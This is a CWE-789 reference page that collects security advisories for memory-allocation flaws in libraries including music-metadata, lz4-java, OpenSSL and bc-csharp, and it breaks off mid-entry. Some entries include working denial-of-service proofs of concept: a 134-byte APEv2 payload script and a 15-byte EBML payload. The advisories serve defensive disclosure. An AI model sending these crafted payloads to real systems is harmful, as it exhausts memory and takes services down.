CWE-789
AllowedMemory Allocation with Excessive Size Value
Abstraction: Variant · Status: Draft
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
510 vulnerabilities reference this CWE, most recent first.
GHSA-4P6F-M4F9-CH88
Vulnerability from github – Published: 2022-09-16 21:25 – Updated: 2022-09-16 21:25Impact
What kind of vulnerability is it? Who is impacted?
The vulnerability is a memory allocation vulnerability that can be exploited to allocate slices in memory with (arbitrary) excessive size value, which can either exhaust available memory or crash the whole program.
When using github.com/gagliardetto/binary to parse unchecked (or wrong type of) data from untrusted sources of input (e.g. the blockchain) into slices, it's possible to allocate memory with excessive size.
When dec.Decode(&val) method is used to parse data into a structure that is or contains slices of values, the length of the slice was previously read directly from the data itself without any checks on the size of it, and then a slice was allocated. This could lead to an overflow and an allocation of memory with excessive size value.
Example:
package main
import (
"github.com/gagliardetto/binary" // any version before v0.7.1 is vulnerable
"log"
)
type MyStruct struct {
Field1 []byte // field is a slice (could be a slice of any type)
}
func main() {
// Let's assume that the data is coming from the blockchain:
data := []byte{0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10}
var val MyStruct
// - To determine the size of the val.Field1 slice, the decoder will read the length
// of the slice from the data itself without any checks on the size of it.
//
// - This could lead to an allocation of memory with excessive size value.
// Which means: []byte{0x01, 0x02, 0x03, 0x04} will be read as the length
// of the slice (= 67305985) and then an allocation of memory with 67305985 bytes will be made.
//
dec := binary.NewBorshDecoder(data)
err := dec.Decode(&val) // or binary.UnmarshalBorsh(&val, data) or binary.UnmarshalBin(&val, data) etc.
if err != nil {
log.Fatal(err)
}
}
Patches
Has the problem been patched? What versions should users upgrade to?
The vulnerability has been patched in github.com/gagliardetto/binary v0.7.1
Users should upgrade to v0.7.1 or higher.
To upgrade to v0.7.1 or higher, run:
go get github.com/gagliardetto/binary@v0.7.1
# or
go get github.com/gagliardetto/binary@latest
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
A workaround is not to rely on the dec.Decode(&val) function to parse the data, but to use a custom UnmarshalWithDecoder() method that reads and checks the length of any slice.
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory: * Open an issue in github.com/gagliardetto/binary * DM me on twitter
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gagliardetto/binary"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-36078"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T21:25:03Z",
"nvd_published_at": "2022-09-02T13:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\u003e _What kind of vulnerability is it? Who is impacted?_\n\nThe vulnerability is a memory allocation vulnerability that can be exploited to allocate slices in memory with (arbitrary) excessive size value, which can either exhaust available memory or crash the whole program.\n\nWhen using `github.com/gagliardetto/binary` to parse unchecked (or wrong type of) data from untrusted sources of input (e.g. the blockchain) into slices, it\u0027s possible to allocate memory with excessive size.\n\nWhen `dec.Decode(\u0026val)` method is used to parse data into a structure that is or contains slices of values, the length of the slice was previously read directly from the data itself without any checks on the size of it, and then a slice was allocated. This could lead to an overflow and an allocation of memory with excessive size value.\n\nExample:\n\n```go\npackage main\n\nimport (\n\t\"github.com/gagliardetto/binary\" // any version before v0.7.1 is vulnerable\n\t\"log\"\n)\n\ntype MyStruct struct {\n\tField1 []byte // field is a slice (could be a slice of any type)\n}\n\nfunc main() {\n\t// Let\u0027s assume that the data is coming from the blockchain:\n\tdata := []byte{0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10}\n\t\n\tvar val MyStruct\n\t// - To determine the size of the val.Field1 slice, the decoder will read the length\n\t// of the slice from the data itself without any checks on the size of it.\n\t//\n\t// - This could lead to an allocation of memory with excessive size value.\n\t// Which means: []byte{0x01, 0x02, 0x03, 0x04} will be read as the length\n\t// of the slice (= 67305985) and then an allocation of memory with 67305985 bytes will be made.\n\t//\n\tdec := binary.NewBorshDecoder(data)\n\terr := dec.Decode(\u0026val) // or binary.UnmarshalBorsh(\u0026val, data) or binary.UnmarshalBin(\u0026val, data) etc.\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n```\n\n### Patches\n\u003e _Has the problem been patched? What versions should users upgrade to?_\n\nThe vulnerability has been patched in `github.com/gagliardetto/binary` `v0.7.1`\n\nUsers should upgrade to `v0.7.1` or higher.\n\nTo upgrade to `v0.7.1` or higher, run:\n\n```bash\ngo get github.com/gagliardetto/binary@v0.7.1\n\n# or\n\ngo get github.com/gagliardetto/binary@latest\n```\n\n### Workarounds\n\u003e _Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nA workaround is not to rely on the `dec.Decode(\u0026val)` function to parse the data, but to use a custom `UnmarshalWithDecoder()` method that reads and checks the length of any slice.\n\n### References\n\u003e _Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/gagliardetto/binary](https://github.com/gagliardetto/binary)\n* DM me on [twitter](https://twitter.com/immaterial_ink)\n",
"id": "GHSA-4p6f-m4f9-ch88",
"modified": "2022-09-16T21:25:03Z",
"published": "2022-09-16T21:25:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gagliardetto/binary/security/advisories/GHSA-4p6f-m4f9-ch88"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36078"
},
{
"type": "WEB",
"url": "https://github.com/gagliardetto/binary/pull/7"
},
{
"type": "PACKAGE",
"url": "https://github.com/gagliardetto/binary"
},
{
"type": "WEB",
"url": "https://github.com/gagliardetto/binary/releases/tag/v0.7.1"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0963"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Binary vulnerable to Slice Memory Allocation with Excessive Size Value"
}
GHSA-4V53-57PG-C464
Vulnerability from github – Published: 2026-10-07 16:17 – Updated: 2026-10-07 16:17Summary
LZ4BlockInputStream grows its compressed-input buffer to the attacker-controlled compressedLen value from the legacy LZ4Block stream header before reading any payload bytes. A header-only input can therefore trigger a near-2 GiB allocation and exhaust the JVM heap.
Details
In net.jpountz.lz4.LZ4BlockInputStream, refill() validates that compressedLen is nonnegative but does not cap it before allocation:
case COMPRESSION_METHOD_LZ4:
if (compressedBuffer.length < compressedLen) {
compressedBuffer = new byte[Math.max(compressedLen, compressedBuffer.length * 3 / 2)];
}
readFully(compressedBuffer, compressedLen);
The paired LZ4BlockOutputStream never emits such a block. If compression is not smaller than the original block, it writes the block as RAW:
if (compressedLength >= o) {
compressMethod = COMPRESSION_METHOD_RAW;
compressedLength = o;
} else {
compressMethod = COMPRESSION_METHOD_LZ4;
}
Existing readers generally accept noncanonical LZ4-method blocks where compressedLen >= originalLen, but no canonical writer found produces them.
Impact
Applications that pass attacker-controlled legacy LZ4Block streams to LZ4BlockInputStream can suffer heap exhaustion from a header-only input. The impact is availability-only and requires no valid compressed payload.
Patch
As of lz4-java 1.11.2, lz4-java rejects lz4 blocks where the compressed length is larger than uncompressed. Readers would generally emit these as raw blocks instead. You can use the new acceptOversizedBlocks flag to restore the old behavior, but this reintroduces the DoS vector.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.11.1"
},
"package": {
"ecosystem": "Maven",
"name": "at.yawk.lz4:lz4-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.11.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.lz4:lz4-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106452"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T16:17:50Z",
"nvd_published_at": "2026-10-06T20:17:27Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`LZ4BlockInputStream` grows its compressed-input buffer to the attacker-controlled `compressedLen` value from the legacy `LZ4Block` stream header before reading any payload bytes. A header-only input can therefore trigger a near-2 GiB allocation and exhaust the JVM heap.\n\n### Details\n\nIn `net.jpountz.lz4.LZ4BlockInputStream`, `refill()` validates that `compressedLen` is nonnegative but does not cap it before allocation:\n\n```java\ncase COMPRESSION_METHOD_LZ4:\n if (compressedBuffer.length \u003c compressedLen) {\n compressedBuffer = new byte[Math.max(compressedLen, compressedBuffer.length * 3 / 2)];\n }\n readFully(compressedBuffer, compressedLen);\n```\n\nThe paired `LZ4BlockOutputStream` never emits such a block. If compression is not smaller than the original block, it writes the block as RAW:\n\n```java\nif (compressedLength \u003e= o) {\n compressMethod = COMPRESSION_METHOD_RAW;\n compressedLength = o;\n} else {\n compressMethod = COMPRESSION_METHOD_LZ4;\n}\n```\n\nExisting readers generally accept noncanonical LZ4-method blocks where `compressedLen \u003e= originalLen`, but no canonical writer found produces them.\n\n### Impact\n\nApplications that pass attacker-controlled legacy `LZ4Block` streams to `LZ4BlockInputStream` can suffer heap exhaustion from a header-only input. The impact is availability-only and requires no valid compressed payload.\n\n### Patch\n\nAs of lz4-java 1.11.2, lz4-java rejects lz4 blocks where the compressed length is larger than uncompressed. Readers would generally emit these as raw blocks instead. You can use the new `acceptOversizedBlocks` flag to restore the old behavior, but this reintroduces the DoS vector.",
"id": "GHSA-4v53-57pg-c464",
"modified": "2026-10-07T16:17:51Z",
"published": "2026-10-07T16:17:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yawkat/lz4-java/security/advisories/GHSA-4v53-57pg-c464"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106452"
},
{
"type": "WEB",
"url": "https://github.com/yawkat/lz4-java/commit/bb83dd16163cdb71231af06b0a5651881148a634"
},
{
"type": "PACKAGE",
"url": "https://github.com/yawkat/lz4-java"
},
{
"type": "WEB",
"url": "https://github.com/yawkat/lz4-java/releases/tag/v1.11.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "yawkat LZ4 Java: LZ4BlockInputStream allocates an unvalidated compressed length from the stream header"
}
GHSA-53V6-4H7P-P4GJ
Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43Summary
music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.
The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.
This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.
Affected component
lib/apev2/APEv2Token.tslib/apev2/APEv2Parser.ts
The untrusted size is read here:
size: Token.UINT32_LE.get(buf, off)
It is later used directly for allocation when parsing binary tag items:
const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);
The allocation happens before the parser confirms that the declared size fits inside the remaining file data.
Impact
An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.
The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.
The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.
Proof of Concept
Run from the project checkout after compiling the source:
npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs
poc-apev2-memory.mjs:
import { parseBuffer } from './lib/core.js';
const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
let off = 0;
for (const p of parts) out.set(p, off), off += p.length;
return out;
};
const big = 0x08000000; // 128 MiB
const desc = cat(
Buffer.from('MAC '), le32(4000), le32(52), le32(24),
le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);
const hdr = cat(
le16(0), le16(0), le32(1), le32(1), le32(1),
le16(16), le16(1), le32(44100)
);
const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));
const tag = cat(
Buffer.from('APETAGEX'),
le32(2000),
le32(32 + item.length + key.length + big),
le32(1),
le32(0),
new Uint8Array(8)
);
const payload = cat(desc, hdr, tag, item, key);
if (global.gc) global.gc();
const before = process.memoryUsage();
try {
await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
console.log(error.constructor.name + ': ' + error.message);
}
const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));
Observed result
On music-metadata 11.15.0:
EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00
The parser throws after reaching end-of-stream, but the large allocation has already happened.
Expected result
The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.
Suggested fix
Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.12.3"
},
"package": {
"ecosystem": "npm",
"name": "music-metadata"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107387"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:43:22Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.\n\nThe parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.\n\nThis issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.\n\n## Affected component\n\n- `lib/apev2/APEv2Token.ts`\n- `lib/apev2/APEv2Parser.ts`\n\nThe untrusted size is read here:\n\n```ts\nsize: Token.UINT32_LE.get(buf, off)\n```\n\nIt is later used directly for allocation when parsing binary tag items:\n\n```ts\nconst picData = new Uint8Array(tagItemHeader.size);\nawait this.tokenizer.readBuffer(picData);\n```\n\nThe allocation happens before the parser confirms that the declared size fits inside the remaining file data.\n\n## Impact\n\nAn application that parses untrusted `.ape` files with `music-metadata` may be vulnerable to denial of service through memory exhaustion.\n\nThe demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.\n\nThe impact is limited to availability. No confidentiality or integrity impact has been demonstrated.\n\n## Proof of Concept\n\nRun from the project checkout after compiling the source:\n\n```bash\nnpm install --ignore-scripts\nnpm run compile-src:dev\nnode --expose-gc poc-apev2-memory.mjs\n```\n\n`poc-apev2-memory.mjs`:\n\n```js\nimport { parseBuffer } from \u0027./lib/core.js\u0027;\n\nconst le16 = n =\u003e Uint8Array.from([n \u0026 255, n \u003e\u003e\u003e 8]);\nconst le32 = n =\u003e Uint8Array.from([n \u0026 255, n \u003e\u003e\u003e 8 \u0026 255, n \u003e\u003e\u003e 16 \u0026 255, n \u003e\u003e\u003e 24]);\nconst cat = (...parts) =\u003e {\n const out = new Uint8Array(parts.reduce((n, p) =\u003e n + p.length, 0));\n let off = 0;\n for (const p of parts) out.set(p, off), off += p.length;\n return out;\n};\n\nconst big = 0x08000000; // 128 MiB\n\nconst desc = cat(\n Buffer.from(\u0027MAC \u0027), le32(4000), le32(52), le32(24),\n le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)\n);\n\nconst hdr = cat(\n le16(0), le16(0), le32(1), le32(1), le32(1),\n le16(16), le16(1), le32(44100)\n);\n\nconst key = Buffer.from(\u0027Cover Art (Front)\\0\u0027, \u0027ascii\u0027);\nconst item = cat(le32(big), le32(2));\n\nconst tag = cat(\n Buffer.from(\u0027APETAGEX\u0027),\n le32(2000),\n le32(32 + item.length + key.length + big),\n le32(1),\n le32(0),\n new Uint8Array(8)\n);\n\nconst payload = cat(desc, hdr, tag, item, key);\n\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\ntry {\n await parseBuffer(payload, { mimeType: \u0027audio/ape\u0027 });\n} catch (error) {\n console.log(error.constructor.name + \u0027: \u0027 + error.message);\n}\n\nconst after = process.memoryUsage();\nconsole.log(\u0027input bytes:\u0027, payload.byteLength);\nconsole.log(\u0027arrayBuffers delta MB:\u0027, ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));\n```\n\n## Observed result\n\nOn `music-metadata` 11.15.0:\n\n```text\nEndOfStreamError: End-Of-Stream\ninput bytes: 134\narrayBuffers delta MB: 128.00\n```\n\nThe parser throws after reaching end-of-stream, but the large allocation has already happened.\n\n## Expected result\n\nThe parser should reject the malformed APEv2 tag before allocating memory for the declared item size.\n\n## Suggested fix\n\nValidate `tagItemHeader.size` before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate `tagItemHeader.size` until the size has been checked.",
"id": "GHSA-53v6-4h7p-p4gj",
"modified": "2026-10-08T19:43:22Z",
"published": "2026-10-08T19:43:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/pull/2744"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235"
},
{
"type": "PACKAGE",
"url": "https://github.com/Borewit/music-metadata"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "music-metadata: Uncontrolled memory allocation in APEv2 parser"
}
GHSA-576X-9VPC-G3JJ
Vulnerability from github – Published: 2026-10-02 09:31 – Updated: 2026-10-02 09:31Memory allocation with excessive size value in the OpenPGP signature and user attribute subpacket parsers (SignatureSubpacketsParser.ReadPacket, UserAttributeSubpacketsParser.ReadPacket) in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows a remote, unauthenticated attacker who can supply a crafted OpenPGP public key, certificate or signature to cause a denial of service (OutOfMemoryException or memory exhaustion in the parsing process) via a subpacket header using the five-octet length form, because the declared length was used to size the subpacket buffer with no upper bound and without being compared with the size of the enclosing subpacket area or packet, so a few bytes of input could demand an allocation of up to about 2 GB before any subpacket data was read.
{
"affected": [],
"aliases": [
"CVE-2026-63574"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T08:17:02Z",
"severity": "HIGH"
},
"details": "Memory allocation with excessive size value in the OpenPGP signature and user attribute subpacket parsers (SignatureSubpacketsParser.ReadPacket, UserAttributeSubpacketsParser.ReadPacket) in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows a remote, unauthenticated attacker who can supply a crafted OpenPGP public key, certificate or signature to cause a denial of service (OutOfMemoryException or memory exhaustion in the parsing process) via a subpacket header using the five-octet length form, because the declared length was used to size the subpacket buffer with no upper bound and without being compared with the size of the enclosing subpacket area or packet, so a few bytes of input could demand an allocation of up to about 2 GB before any subpacket data was read.",
"id": "GHSA-576x-9vpc-g3jj",
"modified": "2026-10-02T09:31:19Z",
"published": "2026-10-02T09:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63574"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-csharp/commit/986fb4892bb39f292ba0fd82eba11d2cbc503217"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-csharp/commit/f51dacf4817d9ea10d0a9841f72fac3655c65483"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-csharp/wiki/CVE-2026-63574"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5888-36J9-C92P
Vulnerability from github – Published: 2026-01-27 18:32 – Updated: 2026-01-29 18:31Issue summary: A TLS 1.3 connection using certificate compression can be forced to allocate a large buffer before decompression without checking against the configured certificate size limit.
Impact summary: An attacker can cause per-connection memory allocations of up to approximately 22 MiB and extra CPU work, potentially leading to service degradation or resource exhaustion (Denial of Service).
In affected configurations, the peer-supplied uncompressed certificate length from a CompressedCertificate message is used to grow a heap buffer prior to decompression. This length is not bounded by the max_cert_list setting, which otherwise constrains certificate message sizes. An attacker can exploit this to cause large per-connection allocations followed by handshake failure. No memory corruption or information disclosure occurs.
This issue only affects builds where TLS 1.3 certificate compression is compiled in (i.e., not OPENSSL_NO_COMP_ALG) and at least one compression algorithm (brotli, zlib, or zstd) is available, and where the compression extension is negotiated. Both clients receiving a server CompressedCertificate and servers in mutual TLS scenarios receiving a client CompressedCertificate are affected. Servers that do not request client certificates are not vulnerable to client-initiated attacks.
Users can mitigate this issue by setting SSL_OP_NO_RX_CERTIFICATE_COMPRESSION to disable receiving compressed certificates.
The FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue, as the TLS implementation is outside the OpenSSL FIPS module boundary.
OpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue.
OpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue.
{
"affected": [],
"aliases": [
"CVE-2025-66199"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-27T16:16:15Z",
"severity": "MODERATE"
},
"details": "Issue summary: A TLS 1.3 connection using certificate compression can be\nforced to allocate a large buffer before decompression without checking\nagainst the configured certificate size limit.\n\nImpact summary: An attacker can cause per-connection memory allocations of\nup to approximately 22 MiB and extra CPU work, potentially leading to\nservice degradation or resource exhaustion (Denial of Service).\n\nIn affected configurations, the peer-supplied uncompressed certificate\nlength from a CompressedCertificate message is used to grow a heap buffer\nprior to decompression. This length is not bounded by the max_cert_list\nsetting, which otherwise constrains certificate message sizes. An attacker\ncan exploit this to cause large per-connection allocations followed by\nhandshake failure. No memory corruption or information disclosure occurs.\n\nThis issue only affects builds where TLS 1.3 certificate compression is\ncompiled in (i.e., not OPENSSL_NO_COMP_ALG) and at least one compression\nalgorithm (brotli, zlib, or zstd) is available, and where the compression\nextension is negotiated. Both clients receiving a server CompressedCertificate\nand servers in mutual TLS scenarios receiving a client CompressedCertificate\nare affected. Servers that do not request client certificates are not\nvulnerable to client-initiated attacks.\n\nUsers can mitigate this issue by setting SSL_OP_NO_RX_CERTIFICATE_COMPRESSION\nto disable receiving compressed certificates.\n\nThe FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue,\nas the TLS implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue.\n\nOpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue.",
"id": "GHSA-5888-36j9-c92p",
"modified": "2026-01-29T18:31:37Z",
"published": "2026-01-27T18:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66199"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/3ed1f75249932b155eef993a8e66a99cb98bfef4"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/6184a4fb08ee6d7bca570d931a4e8bef40b64451"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/895150b5e021d16b52fb32b97e1dd12f20448be5"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/966a2478046c311ed7dae50c457d0db4cafbf7e4"
},
{
"type": "WEB",
"url": "https://openssl-library.org/news/secadv/20260127.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5F8V-QP5P-3GMV
Vulnerability from github – Published: 2024-12-07 15:34 – Updated: 2024-12-07 15:34IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user to cause a denial of service with a specially crafted query due to improper memory allocation.
{
"affected": [],
"aliases": [
"CVE-2024-37071"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-07T13:15:04Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user to cause a denial of service with a specially crafted query due to improper memory allocation.",
"id": "GHSA-5f8v-qp5p-3gmv",
"modified": "2024-12-07T15:34:10Z",
"published": "2024-12-07T15:34:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37071"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7175940"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5GFJ-9Q3V-QFP3
Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43Summary
The Matroska/WebM EBML parser decodes attacker-controlled variable-length integer (VINT) element lengths without first validating that the declared element fits within its enclosing container or the available input. Leaf lengths are then used directly for string-token and Uint8Array allocations.
A very small crafted .webm, .mkv, or .mka file can therefore cause a disproportionately large allocation, an out-of-memory denial of service, or—in one demonstrated parseFile case—an uncatchable V8 fatal abort.
Impact
Applications that parse untrusted Matroska/WebM media can be denied service. Depending on the input, parser API, and Node.js/V8 version, the demonstrated outcomes include:
- a 34-byte input causing an approximately 128 MiB allocation before end-of-input;
- a 70-byte input causing a 500 MiB allocation through a binary EBML leaf, with concurrent parses multiplying memory consumption;
- a 48-byte file causing an uncatchable V8 fatal abort through
parseFilewhen a leaf declares a length of 32 GiB.
The fatal-abort case was reproduced on music-metadata 11.15.0 with Node.js 26.7.0. It was deterministic across three runs and exited with code 133 despite a surrounding try/catch. The same reporter did not reproduce that fatal abort through parseBuffer on Node.js 20 through 25; those configurations can still encounter allocation attempts or catchable errors. The exact failure mode is therefore runtime- and tokenizer-dependent, but the underlying validation flaw is shared.
The impact is limited to availability; no confidentiality or integrity impact has been demonstrated.
Root cause
EbmlIterator.readElement() decodes an element length from an EBML VINT and converts it to a JavaScript Number:
private async readElement(): Promise<IHeader> {
const id = await this.readVintData(this.ebmlMaxIDLength);
const lenField = await this.readVintData(this.ebmlMaxSizeLength);
lenField[0] ^= 0x80 >> (lenField.length - 1);
return {
id: readUIntBE(id, id.length),
len: readUIntBE(lenField, lenField.length)
};
}
Before the fix, that value was not checked against the parent boundary or known file size before reaching the leaf readers:
private async readString(e: IHeader): Promise<string> {
const rawString = await this.tokenizer.readToken(new StringType(e.len, 'utf-8'));
return rawString.replace(/\x00.*$/g, '');
}
private async readBuffer(e: IHeader): Promise<Uint8Array> {
const buf = new Uint8Array(e.len);
await this.tokenizer.readBuffer(buf);
return buf;
}
An EBML size VINT can encode values approaching 2^56. A crafted file can select a known string, unsigned-integer, binary, or UID element and route its declared size into an allocation before the tokenizer discovers that the input is truncated. The declared length also participates in container-boundary arithmetic.
For lengths around 32 GiB, one reporter observed V8 aborting on its external-memory accounting check:
Fatal error: Check failed: change_in_bytes < kMaxReasonableBytes
process exit code 133
This is a V8 process abort rather than a JavaScript exception, so application-level error handling cannot catch it.
Attack scenarios
The issue is reachable through ordinary metadata parsing of attacker-controlled Matroska/WebM files. Reported proofs of concept exercised string, unsigned-integer, binary, and UID leaves. Depending on the tokenizer and runtime, affected entry points include parseBuffer, parseFile, parseStream, parseBlob, and parseWebStream.
One minimal buffer-based proof of concept uses a docType string with an oversized eight-byte VINT:
import { parseBuffer } from 'music-metadata';
const payload = Uint8Array.from([
0x1a, 0x45, 0xdf, 0xa3, 0x8a,
0x42, 0x82,
0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
]);
await parseBuffer(payload, { mimeType: 'video/webm' });
Another proof of concept used a valid WebM EBML header followed by an ebmlReadVersion leaf whose VINT declared 0x800000000 bytes (32 GiB), while supplying only one payload byte. Through parseFile, this reached the fatal V8 abort described above.
Fix
